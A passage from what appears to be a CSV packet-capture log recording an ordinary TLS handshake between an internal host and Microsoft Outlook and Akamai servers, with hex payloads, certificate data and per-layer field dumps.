\"\"ack\"\": 3179308274, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 48877, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 198, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=194 version=TLS 1.2 gmt_unix_time=Sun, 14 Jun 2026 21:28:34  (1781472514) random_bytes=8748d14c388c0903e33241d6a7f5f235ee362f62ee1b439d6f04f59e sidlen=0 sid=b'' cipherslen=38 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_GCM_SHA384, TLS_RSA_WITH_AES_128_GCM_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA256, TLS_RSA_WITH_AES_128_CBC_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=115 ext=[<TLS_Ext_ServerName  type=server_name len=23 servernameslen=21 servernames=[b'outlook.office.com'] |>, <TLS_Ext_CSR  type=status_request len=5 stype=ocsp req=[<OCSPStatusRequest  respidlen=0 reqextlen=0 reqext=<X509_Extensions  |> |>] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SignatureAlgorithms  type=signature_algorithms len=26 sig_algs_len=24 sig_algs=[sha256+rsaepss, sha384+rsaepss, sha512+rsaepss, sha256+rsa, sha384+rsa, sha1+rsa, sha256+ecdsa, sha384+ecdsa, sha1+ecdsa, sha1+dsa, sha512+rsa, sha512+ecdsa] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_ALPN  type=alpn len=14 protocolslen=12 protocols=[b'h2', b'http/1.1'] |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:35.885840,28,TCP 40.99.204.194:443 -> 10.152.152.11:63963,40.99.204.194,10.152.152.11,443,63963,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3179308274 Ack=4179543637,bc2411360d0cbc24112907bb0800450000284d4e4000400655b92863ccc20a98980b01bbf9dbbd8064f2f91ec6555010003f97e30000,\".$.6\n..$.)....E..(MN@.@.U.(c..\n.........d....UP..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 19790, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 21945, \"\"src\"\": \"\"40.99.204.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63963, \"\"seq\"\": 3179308274, \"\"ack\"\": 4179543637, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 38883, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:35.900435,29,TCP 10.152.152.11:63942 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63942,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2473780383 Ack=616616923,bc24112907bbbc2411360d0c0800450000282fba40008006d30e0a98980bb81e9d45f9c601bb9372e49f24c0d3db5010200e2b8f0000,\".$.)...$.6\n...E..(/.@.....\n......E.....r..$...P. .+...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12218, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 54030, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63942, \"\"dport\"\": 443, \"\"seq\"\": 2473780383, \"\"ack\"\": 616616923, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8206, \"\"chksum\"\": 11151, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:40.196016,30,TCP 40.99.204.194:443 -> 10.152.152.11:63963,40.99.204.194,10.152.152.11,443,63963,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Padding,4,TCP PA Seq=3179308274 Ack=4179543637,bc2411360d0cbc24112907bb0800450007c84d4f400040064e182863ccc20a98980b01bbf9dbbd8064f2f91ec6555018003f9f830000160303110b0200006603036a2eba97b2a837d8dab42fd7492beedf499047ff22ea06eb444f574e475244012066220000580f9de325e26818f475d556142d0b8995246207802001cfde803b12c03000001e000500000023000000100005000302683200170000ff01000100000000000b000d4d000d4a000878308208743082075ca00302010202100590cbd365667f4104a9a2690c5b7c73300d06092a864886f70d01010b05003059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c532052534120534841323536203230323020434131301e170d3236303331383030303030305a170d3236313030323233353935395a306a310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311430120603550403130b6f75746c6f6f6b2e636f6d30820122300d06092a864886f70d01010105000382010f003082010a0282010100daf79983120e19dc01bd350592edf8cd3589ab8c67b62dd3bf787f4b0c67b94e1f8bd4557c05e1cf94703872b7659d9d6b760a6a69345ed1ce3eaced7f67a5dd8602ec55f3d3399c74fa02ec3a968dfee6e469755036a93bbc8cc638f1dab4b9302b893230a9b2388428609bd6f131ff09cae0ec1d93611bc7c9e2248f79b20c61fdee2ddf231f4d4fac401b2ab2d10ffed749e423ed16e7453b764cc559f40d43706510527fbfa6aa02cfe8dc87aa24cbe7098cccfaaf7c547a88917c16158bb7a9f761854521fa88bf9670202cd6ba70de3e167b85de6247353fc1a966b655f755d31dd9e40434f3979f4105f6de780b3200f77ed35ece89d60ec1183aa4bd0203010001a382052530820521301f0603551d23041830168014748580c066c7df37decfbd2937aa031dbeedcd17301d0603551d0e041604147645e5c3cb9cfefa5ffe2455e8bc60ddbeaa93e1308201bd0603551d11048201b4308201b0820b6f75746c6f6f6b2e636f6d820d2a2e686f746d61696c2e636f6d82162a2e696e7465726e616c2e6f75746c6f6f6b2e636f6d820a2a2e6c6976652e636f6d820c2a2e6f66666963652e636f6d820f2a2e6f66666963653336352e636f6d820d2a2e6f75746c6f6f6b2e636f6d82172a2e6f75746c6f6f6b2e6f66666963653336352e636f6d821b6174746163686d656e742e6f75746c6f6f6b2e6c6976652e6e6574821d6174746163686d656e742e6f75746c6f6f6b2e6f66666963652e6e657482206174746163686d656e742e6f75746c6f6f6b2e6f66666963657070652e6e657482166174746163686d656e74732e6f66666963652e6e6574821a6174746163686d656e74732d7364662e6f66666963652e6e6574821d6363732e6c6f67696e2e6d6963726f736f66746f6e6c696e652e636f6d820b686f746d61696c2e636f6d82166d61696c2e73657276696365732e6c6976652e636f6d820d6f66666963653336352e636f6d82126f75746c6f6f6b2e6f66666963652e636f6d82147375627374726174652e6f66666963652e636f6d82187375627374726174652d7364662e6f66666963652e636f6d303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff0404030205a030130603551d25040c300a06082b0601050507030130819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff040230003082017d060a2b06010401d6790204020482016d048201690167007600c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd0000019d0227fa81000004030047304502206503d2b3b95c5a3afb9c236d63a49827a23cff959c02b28693fa4b0ba1ff79f3022100926107971c235c133aa4381f9f1943c10e6f9f065a008a1cdd69c24a3ae84e9e007500d809553b944f7affc816196f944f85abb0f8fc5e8755260f15d12e72bb454b140000019d0227fab60000040300463044022059fb3ceca64c8642f90336570c90b37788e061fd0e5056d8983896d89b8f1898022070907a4ed12544ece63de2a47b3c7e1bbc48cd7f17cb88713224fd1d05483333007600944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d80000019d0227fa8e0000040300473045022100bd0d16c172,\".$.6\n..$.)....E...MO@.@.N.(c..\n.........d....UP..?............f..j.....7.../.I+..I.G.\"\"...DOWNGRD. f\"\"..X...%.h..u.V.-...$b.. ....;..0........#.........h2...............\nM.\nJ..x0..t0..\\...........ef.A...i.[|s0\n.\t*.H..\n.....0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\n260318000000Z.\n261002235959Z0j1.0\t..U....US1.0...U...\nWashington1.0...U....Redmond1.0...U.\n..Microsoft Corporation1.0...U....outlook.com0..\"\"0\n.\t*.H..\n..........0..\n...............5.....5...g.-..x.K.g.N...U|....p8r.e..kv\nji4^..>...g.....U..9.t...:.....iuP6.;...8....0+.20..8.(`...1.\t.....a....$.y..a..-.#.MO.@.*.....I.#...E;vL.Y.\nCpe.R..........$..\t....|Tz..|......a.E!....p ,..p.>.{..bG5?..f.U.U.....4...A...x.2..~.^......:..........%0..!0...U.#..0...t...f..7...)7.......0...U......vE......_.$U..`.....0.....U......0.....outlook.com.\n*.hotmail.com..*.internal.outlook.com.\n*.live.com..*.office.com..*.office365.com.\n*.outlook.com..*.outlook.office365.com..attachment.outlook.live.net..attachment.outlook.office.net. attachment.outlook.officeppe.net..attachments.office.net..attachments-sdf.office.net..ccs.login.microsoftonline.com..hotmail.com..mail.services.live.com.\noffice365.com..outlook.office.com..substrate.office.com..substrate-sdf.office.com0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0\n..+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..}.\n+.....y......m...i.g.v..1~WE..E..8...A...!Z\"\".....v...R......'.......G0E. e....\\Z:..#mc..'.<........K...y..!..a...#\\.:.8...C..o..Z....i.J:.N..u..\tU;.Oz....o.O.....^.U&....r.EK......'.......F0D. Y.<..L.B..6W...w..a..PV..8....... p.zN.%D..=..{<~..H.....q2$...H33.v..NC........$&..e..._8..?rg}U7........'.......G0E.!..\n..r\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1992, \"\"id\"\": 19791, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19992, \"\"src\"\": \"\"40.99.204.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63963, \"\"seq\"\": 3179308274, \"\"ack\"\": 4179543637, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 40835, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"160303110b0200006603036a2eba97b2a837d8dab42fd7492beedf499047ff22ea06eb444f574e475244012066220000580f9de325e26818f475d556142d0b8995246207802001cfde803b12c03000001e000500000023000000100005000302683200170000ff01000100000000000b000d4d000d4a000878308208743082075ca00302010202100590cbd365667f4104a9a2690c5b7c73300d06092a864886f70d01010b05003059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c532052534120534841323536203230323020434131301e170d3236303331383030303030305a170d3236313030323233353935395a306a310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311430120603550403130b6f75746c6f6f6b2e636f6d30820122300d06092a864886f70d01010105000382010f003082010a0282010100daf79983120e19dc01bd350592edf8cd3589ab8c67b62dd3bf787f4b0c67b94e1f8bd4557c05e1cf94703872b7659d9d6b760a6a69345ed1ce3eaced7f67a5dd8602ec55f3d3399c74fa02ec3a968dfee6e469755036a93bbc8cc638f1dab4b9302b893230a9b2388428609bd6f131ff09cae0ec1d93611bc7c9e2248f79b20c61fdee2ddf231f4d4fac401b2ab2d10ffed749e423ed16e7453b764cc559f40d43706510527fbfa6aa02cfe8dc87aa24cbe7098cccfaaf7c547a88917c16158bb7a9f761854521fa88bf9670202cd6ba70de3e167b85de6247353fc1a966b655f755d31dd9e40434f3979f4105f6de780b3200f77ed35ece89d60ec1183aa4bd0203010001a382052530820521301f0603551d23041830168014748580c066c7df37decfbd2937aa031dbeedcd17301d0603551d0e041604147645e5c3cb9cfefa5ffe2455e8bc60ddbeaa93e1308201bd0603551d11048201b4308201b0820b6f75746c6f6f6b2e636f6d820d2a2e686f746d61696c2e636f6d82162a2e696e7465726e616c2e6f75746c6f6f6b2e636f6d820a2a2e6c6976652e636f6d820c2a2e6f66666963652e636f6d820f2a2e6f66666963653336352e636f6d820d2a2e6f75746c6f6f6b2e636f6d82172a2e6f75746c6f6f6b2e6f66666963653336352e636f6d821b6174746163686d656e742e6f75746c6f6f6b2e6c6976652e6e6574821d6174746163686d656e742e6f75746c6f6f6b2e6f66666963652e6e657482206174746163686d656e742e6f75746c6f6f6b2e6f66666963657070652e6e657482166174746163686d656e74732e6f66666963652e6e6574821a6174746163686d656e74732d7364662e6f66666963652e6e6574821d6363732e6c6f67696e2e6d6963726f736f66746f6e6c696e652e636f6d820b686f746d61696c2e636f6d82166d61696c2e73657276696365732e6c6976652e636f6d820d6f66666963653336352e636f6d82126f75746c6f6f6b2e6f66666963652e636f6d82147375627374726174652e6f66666963652e636f6d82187375627374726174652d7364662e6f66666963652e636f6d303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff0404030205a030130603551d25040c300a06082b0601050507030130819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff040230003082017d060a2b06010401d6790204020482016d048201690167007600c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd0000019d0227fa81000004030047304502206503d2b3b95c5a3afb9c236d63a49827a23cff959c02b28693fa4b0ba1ff79f3022100926107971c235c133aa4381f9f1943c10e6f9f065a008a1cdd69c24a3ae84e9e007500d809553b944f7affc816196f944f85abb0f8fc5e8755260f15d12e72bb454b140000019d0227fab60000040300463044022059fb3ceca64c8642f90336570c90b37788e061fd0e5056d8983896d89b8f1898022070907a4ed12544ece63de2a47b3c7e1bbc48cd7f17cb88713224fd1d05483333007600944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d80000019d0227fa8e0000040300473045022100bd0d16c172\"\"}}]\"\n2026-06-14 14:28:40.196215,31,TCP 10.152.152.11:63963 -> 40.99.204.194:443,10.152.152.11,40.99.204.194,63963,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=4179543637 Ack=3179310226,bc24112907bbbc2411360d0c080045000028139f400080064f680a98980b2863ccc2f9db01bbf91ec655bd806c92501004002eed0000,\".$.)...$.6\n...E..(..@...Oh\n...(c.........U..l.P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 5023, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20328, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63963, \"\"dport\"\": 443, \"\"seq\"\": 4179543637, \"\"ack\"\": 3179310226, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 12013, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:40.200948,32,TCP 40.99.204.194:443 -> 10.152.152.11:63963,40.99.204.194,10.152.152.11,443,63963,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=3179310226 Ack=4179543637,bc2411360d0cbc24112907bb0800450009984d51400040064c462863ccc20a98980b01bbf9dbbd806c92f91ec6555018003fa1530000d297d7e77a360b09f5ac4b969076787aeaa5e5dd33894d3d11800802207946295b526fb444aeca904888e1aedaa188ade2b50abfb705372ad7601ac60d300d06092a864886f70d01010b05000382010100c8d99f18d82dbd8fdfd8d58dd4404db27c3825d173ec1750fc69596cf7f7268f13f7b982f074ddce49d333cf5f6e802435c86f6c265876cc895636741eec7a543bd2b4f58372d61a171e6753cb35bf16babf0feedd032ec85c7d8d80f51cb75209525f57ec8d10ddc3a4e7923009d34634b8383d79f461ebd1752b81f5b72c63ebc2d5acb1af1597ae4fea4a04e746130aa2238fed38e5e6423e2a49daee7f872b2f4210dad2bec178d6ddb3d12812dac0af7386a5a6253caef1cfd70339d142e95290274b6daff341fef1275f1bc0ec3bdc5c30368794281a81ffdaa1ba0b87869fcf9f7bc974fb79d870c220432bdedd63d1d0710ab1758da55ed1de171b800004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f0798160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303631313037313930355a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100590cbd365667f4104a9a2690c5b7c738000180f32303236303631313037303330305aa011180f32303236303631383036303330305a300d06092a864886f70d01010b05000382010100617fa930ba436de93cc8a6a5d2ee1315c0800425a20212f8b2e533422046b4f06532049274f7d1a3a9100edb1ea33ff5edf97238f4e1675afebca2b0f22172077c82c4d2827e3a8daeb258093e3b77be5d146d63f157672abb7eeb684cadf378c3f238cdd749d1eba869f4ea18bc5f40f85485d6d89e3ad5398904c0a194cd286b7a8345009d6ee6510a7f3e2d5fe136a9d01ed64c7a980e05a0e82a37d1c3e31aa549edadc974357cf32f90813884755efacc5d44d25657083db034e224018d3c73077a4c60608d9b7362cba391111041de8d6fa79026e724da6ad3467511d01987535fb084bc0bcee6bb81bb3bcc2c9f846b896cfe4ea5680e15e2b658c0320c0001690300186104fa19cf9ec6e4b26f657aee9db717830f25131f08324866033e1409188d337abdd46899a18f546dcb77886f37c18be07e273ec06647935b3f16e65e6a40a14bfb8e4564b9fd7237a41ff96af5be9dfefd1a2e23c92687455e94da18ef843f6f82080401006a5b5dbab81bb93b564a91b629316a4e423ebc383f757619af12c21d6b6279d1460c17977e8b59c8711ddb1db044cf66e8a02b9dbe2503f6897f9512295d6496cd197aa6cd5fee34739e98c95a417279a6b1e27489f8fb966540300a8ed5111d157b57329b9b306adafc50f020d48e060fd798ffb40c54facaf720fc8825abb2e00033e5d0b9f3d7db9e0c9d6dc77684234dd87f74dae0c814033b2ab168689cbe3f3679e3a3a65146f5bc9ab5e3ef87f873610952952a49d7a5208e3f3cab0c4fc95dcb753b66ed02dd15c6a54b4989a681473fabcc2dd52e7d2e0e94cbf1ba15027d0bb24933c2c1b7b2bfa510acee34d93952780a6c56374c10d0acd71cf50e000000,\"....z6.\t..K..vxz....3.M=.... yF)[Ro.D...H.........\n...7*.`..\n0\n.\t*.H..\n...............-.......@M.|8%.s..P.iYl..&......t..I.3._n.$5.ol&Xv..V6t..zT;....r....gS.5..........\\}.....R\tR_W........0\t.F4.8=y.a..u+...,c.........O.J..F.\n.#..8..B>*I....+/B.....x....(....s...%<.....9.B.R.'Km..A..'_...;.\\06..(............{.t.y.p. C+..c..q\n.u..^........0...0..............+V..z.P,#..f0\n.\t*.H..\n.....0a1.0\t..U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20..\n210330000000Z.\n310329235959Z0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0\n.\t*.H..\n..........0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^.\n..F..l..bRBu....^^..a.....\t..=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040..\t`.H...l..0...g....0...g.....0...g.....0...g.....0\n.\t*.H..\n............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r.\t._....2u...X.W1~7...fm)..f\tm.n..../...\\Vd..}..8S..]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#\n$*.%L........t..m.......@...........0...\n......0....\t+.....0......0...0......t...f..7...)7.........20260611071905Z0s0q0I0\t..+.............[.X....:.i.oH....t...f..7...)7.............ef.A...i.[|s....20260611070300Z....20260618060300Z0\n.\t*.H..\n..........a..0.Cm.<..........%......3B F..e2..t.........?...r8..gZ.....!r.|....~:...X\t>;w.].mc.Wg*.~.hL..x..8..I...i...._@.T....:.9......(kz.E..n.Q\n.>-_.6....Lz.....*7.....I...t5|./..8.u^..]D.VW.=.4.$..<s.zL``..sb.....A..o..&.$.j.Fu....S_.........;.,..k.l.N.h....X.2...i...a........oez......%...2Hf.>.\t..3z..h...Tm.w.o7...~'>.fG.[?..^j@.K..Ed..r7...j.......#.&.E^.....?o.....j[]....;VJ..)1jNB>.8?uv.....kby.F...~.Y.q....D.f..+..%......)]d...z.._.4s...ZAry...t....e@0\n.....{W2..0j..P. .........T... ..%....3.........m.v.#M..t.....;*.hh..?6y...QF........sa\tR.*I.. .?<..O.].u;f......KI...G?..-..}........}..I3.........4.9Rx\nlV7L..........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, 